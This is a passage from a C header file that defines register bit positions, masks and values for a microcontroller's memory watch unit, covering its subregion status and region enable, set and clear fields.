#define MWU_PERREGION_SUBSTATRA_SR29_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR29_Pos) /*!< Bit mask of SR29 field. */
#define MWU_PERREGION_SUBSTATRA_SR29_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR29_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 28 : Subregion 28 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR28_Pos (28UL) /*!< Position of SR28 field. */
#define MWU_PERREGION_SUBSTATRA_SR28_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR28_Pos) /*!< Bit mask of SR28 field. */
#define MWU_PERREGION_SUBSTATRA_SR28_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR28_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 27 : Subregion 27 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR27_Pos (27UL) /*!< Position of SR27 field. */
#define MWU_PERREGION_SUBSTATRA_SR27_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR27_Pos) /*!< Bit mask of SR27 field. */
#define MWU_PERREGION_SUBSTATRA_SR27_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR27_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 26 : Subregion 26 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR26_Pos (26UL) /*!< Position of SR26 field. */
#define MWU_PERREGION_SUBSTATRA_SR26_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR26_Pos) /*!< Bit mask of SR26 field. */
#define MWU_PERREGION_SUBSTATRA_SR26_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR26_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 25 : Subregion 25 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR25_Pos (25UL) /*!< Position of SR25 field. */
#define MWU_PERREGION_SUBSTATRA_SR25_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR25_Pos) /*!< Bit mask of SR25 field. */
#define MWU_PERREGION_SUBSTATRA_SR25_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR25_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 24 : Subregion 24 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR24_Pos (24UL) /*!< Position of SR24 field. */
#define MWU_PERREGION_SUBSTATRA_SR24_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR24_Pos) /*!< Bit mask of SR24 field. */
#define MWU_PERREGION_SUBSTATRA_SR24_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR24_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 23 : Subregion 23 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR23_Pos (23UL) /*!< Position of SR23 field. */
#define MWU_PERREGION_SUBSTATRA_SR23_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR23_Pos) /*!< Bit mask of SR23 field. */
#define MWU_PERREGION_SUBSTATRA_SR23_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR23_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 22 : Subregion 22 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR22_Pos (22UL) /*!< Position of SR22 field. */
#define MWU_PERREGION_SUBSTATRA_SR22_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR22_Pos) /*!< Bit mask of SR22 field. */
#define MWU_PERREGION_SUBSTATRA_SR22_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR22_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 21 : Subregion 21 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR21_Pos (21UL) /*!< Position of SR21 field. */
#define MWU_PERREGION_SUBSTATRA_SR21_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR21_Pos) /*!< Bit mask of SR21 field. */
#define MWU_PERREGION_SUBSTATRA_SR21_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR21_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 20 : Subregion 20 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR20_Pos (20UL) /*!< Position of SR20 field. */
#define MWU_PERREGION_SUBSTATRA_SR20_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR20_Pos) /*!< Bit mask of SR20 field. */
#define MWU_PERREGION_SUBSTATRA_SR20_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR20_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 19 : Subregion 19 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR19_Pos (19UL) /*!< Position of SR19 field. */
#define MWU_PERREGION_SUBSTATRA_SR19_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR19_Pos) /*!< Bit mask of SR19 field. */
#define MWU_PERREGION_SUBSTATRA_SR19_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR19_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 18 : Subregion 18 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR18_Pos (18UL) /*!< Position of SR18 field. */
#define MWU_PERREGION_SUBSTATRA_SR18_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR18_Pos) /*!< Bit mask of SR18 field. */
#define MWU_PERREGION_SUBSTATRA_SR18_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR18_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 17 : Subregion 17 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR17_Pos (17UL) /*!< Position of SR17 field. */
#define MWU_PERREGION_SUBSTATRA_SR17_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR17_Pos) /*!< Bit mask of SR17 field. */
#define MWU_PERREGION_SUBSTATRA_SR17_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR17_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 16 : Subregion 16 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR16_Pos (16UL) /*!< Position of SR16 field. */
#define MWU_PERREGION_SUBSTATRA_SR16_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR16_Pos) /*!< Bit mask of SR16 field. */
#define MWU_PERREGION_SUBSTATRA_SR16_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR16_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 15 : Subregion 15 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR15_Pos (15UL) /*!< Position of SR15 field. */
#define MWU_PERREGION_SUBSTATRA_SR15_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR15_Pos) /*!< Bit mask of SR15 field. */
#define MWU_PERREGION_SUBSTATRA_SR15_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR15_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 14 : Subregion 14 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR14_Pos (14UL) /*!< Position of SR14 field. */
#define MWU_PERREGION_SUBSTATRA_SR14_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR14_Pos) /*!< Bit mask of SR14 field. */
#define MWU_PERREGION_SUBSTATRA_SR14_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR14_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 13 : Subregion 13 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR13_Pos (13UL) /*!< Position of SR13 field. */
#define MWU_PERREGION_SUBSTATRA_SR13_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR13_Pos) /*!< Bit mask of SR13 field. */
#define MWU_PERREGION_SUBSTATRA_SR13_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR13_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 12 : Subregion 12 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR12_Pos (12UL) /*!< Position of SR12 field. */
#define MWU_PERREGION_SUBSTATRA_SR12_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR12_Pos) /*!< Bit mask of SR12 field. */
#define MWU_PERREGION_SUBSTATRA_SR12_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR12_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 11 : Subregion 11 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR11_Pos (11UL) /*!< Position of SR11 field. */
#define MWU_PERREGION_SUBSTATRA_SR11_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR11_Pos) /*!< Bit mask of SR11 field. */
#define MWU_PERREGION_SUBSTATRA_SR11_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR11_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 10 : Subregion 10 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR10_Pos (10UL) /*!< Position of SR10 field. */
#define MWU_PERREGION_SUBSTATRA_SR10_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR10_Pos) /*!< Bit mask of SR10 field. */
#define MWU_PERREGION_SUBSTATRA_SR10_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR10_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 9 : Subregion 9 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR9_Pos (9UL) /*!< Position of SR9 field. */
#define MWU_PERREGION_SUBSTATRA_SR9_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR9_Pos) /*!< Bit mask of SR9 field. */
#define MWU_PERREGION_SUBSTATRA_SR9_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR9_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 8 : Subregion 8 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR8_Pos (8UL) /*!< Position of SR8 field. */
#define MWU_PERREGION_SUBSTATRA_SR8_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR8_Pos) /*!< Bit mask of SR8 field. */
#define MWU_PERREGION_SUBSTATRA_SR8_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR8_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 7 : Subregion 7 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR7_Pos (7UL) /*!< Position of SR7 field. */
#define MWU_PERREGION_SUBSTATRA_SR7_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR7_Pos) /*!< Bit mask of SR7 field. */
#define MWU_PERREGION_SUBSTATRA_SR7_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR7_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 6 : Subregion 6 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR6_Pos (6UL) /*!< Position of SR6 field. */
#define MWU_PERREGION_SUBSTATRA_SR6_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR6_Pos) /*!< Bit mask of SR6 field. */
#define MWU_PERREGION_SUBSTATRA_SR6_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR6_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 5 : Subregion 5 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR5_Pos (5UL) /*!< Position of SR5 field. */
#define MWU_PERREGION_SUBSTATRA_SR5_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR5_Pos) /*!< Bit mask of SR5 field. */
#define MWU_PERREGION_SUBSTATRA_SR5_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR5_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 4 : Subregion 4 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR4_Pos (4UL) /*!< Position of SR4 field. */
#define MWU_PERREGION_SUBSTATRA_SR4_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR4_Pos) /*!< Bit mask of SR4 field. */
#define MWU_PERREGION_SUBSTATRA_SR4_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR4_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 3 : Subregion 3 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR3_Pos (3UL) /*!< Position of SR3 field. */
#define MWU_PERREGION_SUBSTATRA_SR3_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR3_Pos) /*!< Bit mask of SR3 field. */
#define MWU_PERREGION_SUBSTATRA_SR3_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR3_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 2 : Subregion 2 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR2_Pos (2UL) /*!< Position of SR2 field. */
#define MWU_PERREGION_SUBSTATRA_SR2_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR2_Pos) /*!< Bit mask of SR2 field. */
#define MWU_PERREGION_SUBSTATRA_SR2_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR2_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 1 : Subregion 1 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR1_Pos (1UL) /*!< Position of SR1 field. */
#define MWU_PERREGION_SUBSTATRA_SR1_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR1_Pos) /*!< Bit mask of SR1 field. */
#define MWU_PERREGION_SUBSTATRA_SR1_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR1_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Bit 0 : Subregion 0 in region 0 (write '1' to clear) */
#define MWU_PERREGION_SUBSTATRA_SR0_Pos (0UL) /*!< Position of SR0 field. */
#define MWU_PERREGION_SUBSTATRA_SR0_Msk (0x1UL << MWU_PERREGION_SUBSTATRA_SR0_Pos) /*!< Bit mask of SR0 field. */
#define MWU_PERREGION_SUBSTATRA_SR0_NoAccess (0UL) /*!< No read access occurred in this subregion */
#define MWU_PERREGION_SUBSTATRA_SR0_Access (1UL) /*!< Read access(es) occurred in this subregion */
/* Register: MWU_REGIONEN */
/* Description: Enable/disable regions watch */
/* Bit 27 : Enable/disable read access watch in PREGION[1] */
#define MWU_REGIONEN_PRGN1RA_Pos (27UL) /*!< Position of PRGN1RA field. */
#define MWU_REGIONEN_PRGN1RA_Msk (0x1UL << MWU_REGIONEN_PRGN1RA_Pos) /*!< Bit mask of PRGN1RA field. */
#define MWU_REGIONEN_PRGN1RA_Disable (0UL) /*!< Disable read access watch in this PREGION */
#define MWU_REGIONEN_PRGN1RA_Enable (1UL) /*!< Enable read access watch in this PREGION */
/* Bit 26 : Enable/disable write access watch in PREGION[1] */
#define MWU_REGIONEN_PRGN1WA_Pos (26UL) /*!< Position of PRGN1WA field. */
#define MWU_REGIONEN_PRGN1WA_Msk (0x1UL << MWU_REGIONEN_PRGN1WA_Pos) /*!< Bit mask of PRGN1WA field. */
#define MWU_REGIONEN_PRGN1WA_Disable (0UL) /*!< Disable write access watch in this PREGION */
#define MWU_REGIONEN_PRGN1WA_Enable (1UL) /*!< Enable write access watch in this PREGION */
/* Bit 25 : Enable/disable read access watch in PREGION[0] */
#define MWU_REGIONEN_PRGN0RA_Pos (25UL) /*!< Position of PRGN0RA field. */
#define MWU_REGIONEN_PRGN0RA_Msk (0x1UL << MWU_REGIONEN_PRGN0RA_Pos) /*!< Bit mask of PRGN0RA field. */
#define MWU_REGIONEN_PRGN0RA_Disable (0UL) /*!< Disable read access watch in this PREGION */
#define MWU_REGIONEN_PRGN0RA_Enable (1UL) /*!< Enable read access watch in this PREGION */
/* Bit 24 : Enable/disable write access watch in PREGION[0] */
#define MWU_REGIONEN_PRGN0WA_Pos (24UL) /*!< Position of PRGN0WA field. */
#define MWU_REGIONEN_PRGN0WA_Msk (0x1UL << MWU_REGIONEN_PRGN0WA_Pos) /*!< Bit mask of PRGN0WA field. */
#define MWU_REGIONEN_PRGN0WA_Disable (0UL) /*!< Disable write access watch in this PREGION */
#define MWU_REGIONEN_PRGN0WA_Enable (1UL) /*!< Enable write access watch in this PREGION */
/* Bit 7 : Enable/disable read access watch in region[3] */
#define MWU_REGIONEN_RGN3RA_Pos (7UL) /*!< Position of RGN3RA field. */
#define MWU_REGIONEN_RGN3RA_Msk (0x1UL << MWU_REGIONEN_RGN3RA_Pos) /*!< Bit mask of RGN3RA field. */
#define MWU_REGIONEN_RGN3RA_Disable (0UL) /*!< Disable read access watch in this region */
#define MWU_REGIONEN_RGN3RA_Enable (1UL) /*!< Enable read access watch in this region */
/* Bit 6 : Enable/disable write access watch in region[3] */
#define MWU_REGIONEN_RGN3WA_Pos (6UL) /*!< Position of RGN3WA field. */
#define MWU_REGIONEN_RGN3WA_Msk (0x1UL << MWU_REGIONEN_RGN3WA_Pos) /*!< Bit mask of RGN3WA field. */
#define MWU_REGIONEN_RGN3WA_Disable (0UL) /*!< Disable write access watch in this region */
#define MWU_REGIONEN_RGN3WA_Enable (1UL) /*!< Enable write access watch in this region */
/* Bit 5 : Enable/disable read access watch in region[2] */
#define MWU_REGIONEN_RGN2RA_Pos (5UL) /*!< Position of RGN2RA field. */
#define MWU_REGIONEN_RGN2RA_Msk (0x1UL << MWU_REGIONEN_RGN2RA_Pos) /*!< Bit mask of RGN2RA field. */
#define MWU_REGIONEN_RGN2RA_Disable (0UL) /*!< Disable read access watch in this region */
#define MWU_REGIONEN_RGN2RA_Enable (1UL) /*!< Enable read access watch in this region */
/* Bit 4 : Enable/disable write access watch in region[2] */
#define MWU_REGIONEN_RGN2WA_Pos (4UL) /*!< Position of RGN2WA field. */
#define MWU_REGIONEN_RGN2WA_Msk (0x1UL << MWU_REGIONEN_RGN2WA_Pos) /*!< Bit mask of RGN2WA field. */
#define MWU_REGIONEN_RGN2WA_Disable (0UL) /*!< Disable write access watch in this region */
#define MWU_REGIONEN_RGN2WA_Enable (1UL) /*!< Enable write access watch in this region */
/* Bit 3 : Enable/disable read access watch in region[1] */
#define MWU_REGIONEN_RGN1RA_Pos (3UL) /*!< Position of RGN1RA field. */
#define MWU_REGIONEN_RGN1RA_Msk (0x1UL << MWU_REGIONEN_RGN1RA_Pos) /*!< Bit mask of RGN1RA field. */
#define MWU_REGIONEN_RGN1RA_Disable (0UL) /*!< Disable read access watch in this region */
#define MWU_REGIONEN_RGN1RA_Enable (1UL) /*!< Enable read access watch in this region */
/* Bit 2 : Enable/disable write access watch in region[1] */
#define MWU_REGIONEN_RGN1WA_Pos (2UL) /*!< Position of RGN1WA field. */
#define MWU_REGIONEN_RGN1WA_Msk (0x1UL << MWU_REGIONEN_RGN1WA_Pos) /*!< Bit mask of RGN1WA field. */
#define MWU_REGIONEN_RGN1WA_Disable (0UL) /*!< Disable write access watch in this region */
#define MWU_REGIONEN_RGN1WA_Enable (1UL) /*!< Enable write access watch in this region */
/* Bit 1 : Enable/disable read access watch in region[0] */
#define MWU_REGIONEN_RGN0RA_Pos (1UL) /*!< Position of RGN0RA field. */
#define MWU_REGIONEN_RGN0RA_Msk (0x1UL << MWU_REGIONEN_RGN0RA_Pos) /*!< Bit mask of RGN0RA field. */
#define MWU_REGIONEN_RGN0RA_Disable (0UL) /*!< Disable read access watch in this region */
#define MWU_REGIONEN_RGN0RA_Enable (1UL) /*!< Enable read access watch in this region */
/* Bit 0 : Enable/disable write access watch in region[0] */
#define MWU_REGIONEN_RGN0WA_Pos (0UL) /*!< Position of RGN0WA field. */
#define MWU_REGIONEN_RGN0WA_Msk (0x1UL << MWU_REGIONEN_RGN0WA_Pos) /*!< Bit mask of RGN0WA field. */
#define MWU_REGIONEN_RGN0WA_Disable (0UL) /*!< Disable write access watch in this region */
#define MWU_REGIONEN_RGN0WA_Enable (1UL) /*!< Enable write access watch in this region */
/* Register: MWU_REGIONENSET */
/* Description: Enable regions watch */
/* Bit 27 : Enable read access watch in PREGION[1] */
#define MWU_REGIONENSET_PRGN1RA_Pos (27UL) /*!< Position of PRGN1RA field. */
#define MWU_REGIONENSET_PRGN1RA_Msk (0x1UL << MWU_REGIONENSET_PRGN1RA_Pos) /*!< Bit mask of PRGN1RA field. */
#define MWU_REGIONENSET_PRGN1RA_Disabled (0UL) /*!< Read access watch in this PREGION is disabled */
#define MWU_REGIONENSET_PRGN1RA_Enabled (1UL) /*!< Read access watch in this PREGION is enabled */
#define MWU_REGIONENSET_PRGN1RA_Set (1UL) /*!< Enable read access watch in this PREGION */
/* Bit 26 : Enable write access watch in PREGION[1] */
#define MWU_REGIONENSET_PRGN1WA_Pos (26UL) /*!< Position of PRGN1WA field. */
#define MWU_REGIONENSET_PRGN1WA_Msk (0x1UL << MWU_REGIONENSET_PRGN1WA_Pos) /*!< Bit mask of PRGN1WA field. */
#define MWU_REGIONENSET_PRGN1WA_Disabled (0UL) /*!< Write access watch in this PREGION is disabled */
#define MWU_REGIONENSET_PRGN1WA_Enabled (1UL) /*!< Write access watch in this PREGION is enabled */
#define MWU_REGIONENSET_PRGN1WA_Set (1UL) /*!< Enable write access watch in this PREGION */
/* Bit 25 : Enable read access watch in PREGION[0] */
#define MWU_REGIONENSET_PRGN0RA_Pos (25UL) /*!< Position of PRGN0RA field. */
#define MWU_REGIONENSET_PRGN0RA_Msk (0x1UL << MWU_REGIONENSET_PRGN0RA_Pos) /*!< Bit mask of PRGN0RA field. */
#define MWU_REGIONENSET_PRGN0RA_Disabled (0UL) /*!< Read access watch in this PREGION is disabled */
#define MWU_REGIONENSET_PRGN0RA_Enabled (1UL) /*!< Read access watch in this PREGION is enabled */
#define MWU_REGIONENSET_PRGN0RA_Set (1UL) /*!< Enable read access watch in this PREGION */
/* Bit 24 : Enable write access watch in PREGION[0] */
#define MWU_REGIONENSET_PRGN0WA_Pos (24UL) /*!< Position of PRGN0WA field. */
#define MWU_REGIONENSET_PRGN0WA_Msk (0x1UL << MWU_REGIONENSET_PRGN0WA_Pos) /*!< Bit mask of PRGN0WA field. */
#define MWU_REGIONENSET_PRGN0WA_Disabled (0UL) /*!< Write access watch in this PREGION is disabled */
#define MWU_REGIONENSET_PRGN0WA_Enabled (1UL) /*!< Write access watch in this PREGION is enabled */
#define MWU_REGIONENSET_PRGN0WA_Set (1UL) /*!< Enable write access watch in this PREGION */
/* Bit 7 : Enable read access watch in region[3] */
#define MWU_REGIONENSET_RGN3RA_Pos (7UL) /*!< Position of RGN3RA field. */
#define MWU_REGIONENSET_RGN3RA_Msk (0x1UL << MWU_REGIONENSET_RGN3RA_Pos) /*!< Bit mask of RGN3RA field. */
#define MWU_REGIONENSET_RGN3RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENSET_RGN3RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENSET_RGN3RA_Set (1UL) /*!< Enable read access watch in this region */
/* Bit 6 : Enable write access watch in region[3] */
#define MWU_REGIONENSET_RGN3WA_Pos (6UL) /*!< Position of RGN3WA field. */
#define MWU_REGIONENSET_RGN3WA_Msk (0x1UL << MWU_REGIONENSET_RGN3WA_Pos) /*!< Bit mask of RGN3WA field. */
#define MWU_REGIONENSET_RGN3WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENSET_RGN3WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENSET_RGN3WA_Set (1UL) /*!< Enable write access watch in this region */
/* Bit 5 : Enable read access watch in region[2] */
#define MWU_REGIONENSET_RGN2RA_Pos (5UL) /*!< Position of RGN2RA field. */
#define MWU_REGIONENSET_RGN2RA_Msk (0x1UL << MWU_REGIONENSET_RGN2RA_Pos) /*!< Bit mask of RGN2RA field. */
#define MWU_REGIONENSET_RGN2RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENSET_RGN2RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENSET_RGN2RA_Set (1UL) /*!< Enable read access watch in this region */
/* Bit 4 : Enable write access watch in region[2] */
#define MWU_REGIONENSET_RGN2WA_Pos (4UL) /*!< Position of RGN2WA field. */
#define MWU_REGIONENSET_RGN2WA_Msk (0x1UL << MWU_REGIONENSET_RGN2WA_Pos) /*!< Bit mask of RGN2WA field. */
#define MWU_REGIONENSET_RGN2WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENSET_RGN2WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENSET_RGN2WA_Set (1UL) /*!< Enable write access watch in this region */
/* Bit 3 : Enable read access watch in region[1] */
#define MWU_REGIONENSET_RGN1RA_Pos (3UL) /*!< Position of RGN1RA field. */
#define MWU_REGIONENSET_RGN1RA_Msk (0x1UL << MWU_REGIONENSET_RGN1RA_Pos) /*!< Bit mask of RGN1RA field. */
#define MWU_REGIONENSET_RGN1RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENSET_RGN1RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENSET_RGN1RA_Set (1UL) /*!< Enable read access watch in this region */
/* Bit 2 : Enable write access watch in region[1] */
#define MWU_REGIONENSET_RGN1WA_Pos (2UL) /*!< Position of RGN1WA field. */
#define MWU_REGIONENSET_RGN1WA_Msk (0x1UL << MWU_REGIONENSET_RGN1WA_Pos) /*!< Bit mask of RGN1WA field. */
#define MWU_REGIONENSET_RGN1WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENSET_RGN1WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENSET_RGN1WA_Set (1UL) /*!< Enable write access watch in this region */
/* Bit 1 : Enable read access watch in region[0] */
#define MWU_REGIONENSET_RGN0RA_Pos (1UL) /*!< Position of RGN0RA field. */
#define MWU_REGIONENSET_RGN0RA_Msk (0x1UL << MWU_REGIONENSET_RGN0RA_Pos) /*!< Bit mask of RGN0RA field. */
#define MWU_REGIONENSET_RGN0RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENSET_RGN0RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENSET_RGN0RA_Set (1UL) /*!< Enable read access watch in this region */
/* Bit 0 : Enable write access watch in region[0] */
#define MWU_REGIONENSET_RGN0WA_Pos (0UL) /*!< Position of RGN0WA field. */
#define MWU_REGIONENSET_RGN0WA_Msk (0x1UL << MWU_REGIONENSET_RGN0WA_Pos) /*!< Bit mask of RGN0WA field. */
#define MWU_REGIONENSET_RGN0WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENSET_RGN0WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENSET_RGN0WA_Set (1UL) /*!< Enable write access watch in this region */
/* Register: MWU_REGIONENCLR */
/* Description: Disable regions watch */
/* Bit 27 : Disable read access watch in PREGION[1] */
#define MWU_REGIONENCLR_PRGN1RA_Pos (27UL) /*!< Position of PRGN1RA field. */
#define MWU_REGIONENCLR_PRGN1RA_Msk (0x1UL << MWU_REGIONENCLR_PRGN1RA_Pos) /*!< Bit mask of PRGN1RA field. */
#define MWU_REGIONENCLR_PRGN1RA_Disabled (0UL) /*!< Read access watch in this PREGION is disabled */
#define MWU_REGIONENCLR_PRGN1RA_Enabled (1UL) /*!< Read access watch in this PREGION is enabled */
#define MWU_REGIONENCLR_PRGN1RA_Clear (1UL) /*!< Disable read access watch in this PREGION */
/* Bit 26 : Disable write access watch in PREGION[1] */
#define MWU_REGIONENCLR_PRGN1WA_Pos (26UL) /*!< Position of PRGN1WA field. */
#define MWU_REGIONENCLR_PRGN1WA_Msk (0x1UL << MWU_REGIONENCLR_PRGN1WA_Pos) /*!< Bit mask of PRGN1WA field. */
#define MWU_REGIONENCLR_PRGN1WA_Disabled (0UL) /*!< Write access watch in this PREGION is disabled */
#define MWU_REGIONENCLR_PRGN1WA_Enabled (1UL) /*!< Write access watch in this PREGION is enabled */
#define MWU_REGIONENCLR_PRGN1WA_Clear (1UL) /*!< Disable write access watch in this PREGION */
/* Bit 25 : Disable read access watch in PREGION[0] */
#define MWU_REGIONENCLR_PRGN0RA_Pos (25UL) /*!< Position of PRGN0RA field. */
